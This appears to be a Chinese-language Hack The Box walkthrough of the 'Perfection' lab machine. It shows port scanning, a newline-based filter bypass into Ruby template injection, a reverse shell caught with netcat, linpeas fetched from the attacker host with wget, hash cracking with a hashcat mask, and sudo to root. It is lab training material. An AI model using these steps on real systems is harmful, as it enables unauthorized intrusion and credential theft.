Enumeration
nmap
用 nmap 扫描了常见的端口，发现对外开放了 22,80，扫描一下详细信息，如下所示
┌──(kali㉿kali)-[~/vegetable/HTB/Perfection]
└─$ nmap -sC -sV -p 22,80 10.10.11.253 -oA nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-11 02:58 EDT
Nmap scan report for 10.10.11.253
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80e479e85928df952dad574a4604ea70 (ECDSA)
|_ 256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.10 seconds访问 web ，在页面最下方发现了 WEBrick 1.7.0，搜索一下发现都是很老的漏洞，简单试了试没有深究
SSTI
回到网页，发现整个系统只有一个功能，就是下面的计算
随便写了一些内容，然后提交了，但是页面提示Please reenter! Weights do not add up to 100.重新尝试，将最后一栏weight的值重新填写，令其相加等于100，这时发现系统进行了计算并给出了结果
测试是否存在注入，在参数category1后添加了一个单引号，服务器响应中返回Malicious input blocked，即恶意输入被阻止
经过尝试发现可以使用 %0a 截断，发现截断之后，后面输入内容都被输出在页面
刷新页面后发现页面中显示如下，将下面的代码复制交给chatgpt，得到了下面的答案。“您提供的代码片段似乎是基于Ruby的Sinatra框架。Sinatra是一个轻量级的Ruby web开发框架，用于构建基于Ruby的web应用程序。”，没啥好玩的
经过尝试，发现了ssti，按照下图第三条
结果如下
找一个反向 shell 连接脚本
在监听端成功获取反弹shell
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.253] 56398
susan@perfection:~/ruby_app$ whoami
whoami
susan
susan@perfection:~/ruby_app$ Privilege Escalation
升级shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
susan@perfection:~/ruby_app$ ^Z
zsh: suspended nc -nvlp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
[1] + continued nc -nvlp 4444
reset
reset: unknown terminal type unknown
Terminal type? screen懒得一个一个看了，直接上传 linpeas.sh 来检索系统弱点
susan@perfection:/tmp$ wget http://10.10.14.19:8888/linpeas.sh
--2024-03-11 09:42:22-- http://10.10.14.19:8888/linpeas.sh
Connecting to 10.10.14.19:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 840.38K 219KB/s in 3.8s
2024-03-11 09:42:30 (219 KB/s) - ‘linpeas.sh’ saved [860549/860549]为脚本添加执行权限，然后执行等待结果即可，在运行过程中就看到了下面这两行，susan 就可以查看user.txt
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
-rw-r----- 1 root susan 33 Mar 11 07:23 /home/susan/user.txt
在 /home/susan 目录下，存在 Migration 目录，有一个
.db文件，使用 cat 命令查看可以看到一组 hash 值
susan@perfection:~/Migration$ cat pupilpath_credentials.db
��^�ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a�\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f使用 hash-identifier 可以识别 hash 类别，但是破解失败
┌──(kali㉿kali)-[~]
└─$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
--------------------------------------------------
另一个文件是 /var/mail/susan，看看 susan 的邮件中会不会有什么有趣的内容
susan@perfection:/var/mail$ cat susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student邮件中提出 “密码格式为：{firstname}_{名字倒数}_{随机生成的介于 1 和 1,000,000,000 之间的整数} 请注意，名字的所有字母都应转换为小写。”
根据邮件内容，密码应该是susan_nasus_**********，可以用 hashcat 的掩码模式来爆破
不知道的是后面的数字，前面都是已经确定了的，所以可以使用 hashcat 自带的掩码模式来暴力破解，使用 ?d 来表示数字 0-9
使用掩码模式爆破结果如下
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1400 -a 3 hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d --show
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210得到密码后可以尝试使用 sudo -l 查看 susan 的权限，发现所有的事情都可以做，切换至 root 用户
susan@perfection:~/ruby_app$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
susan@perfection:~/ruby_app$ sudo su root
root@perfection:/home/susan/ruby_app# whoami
rootover
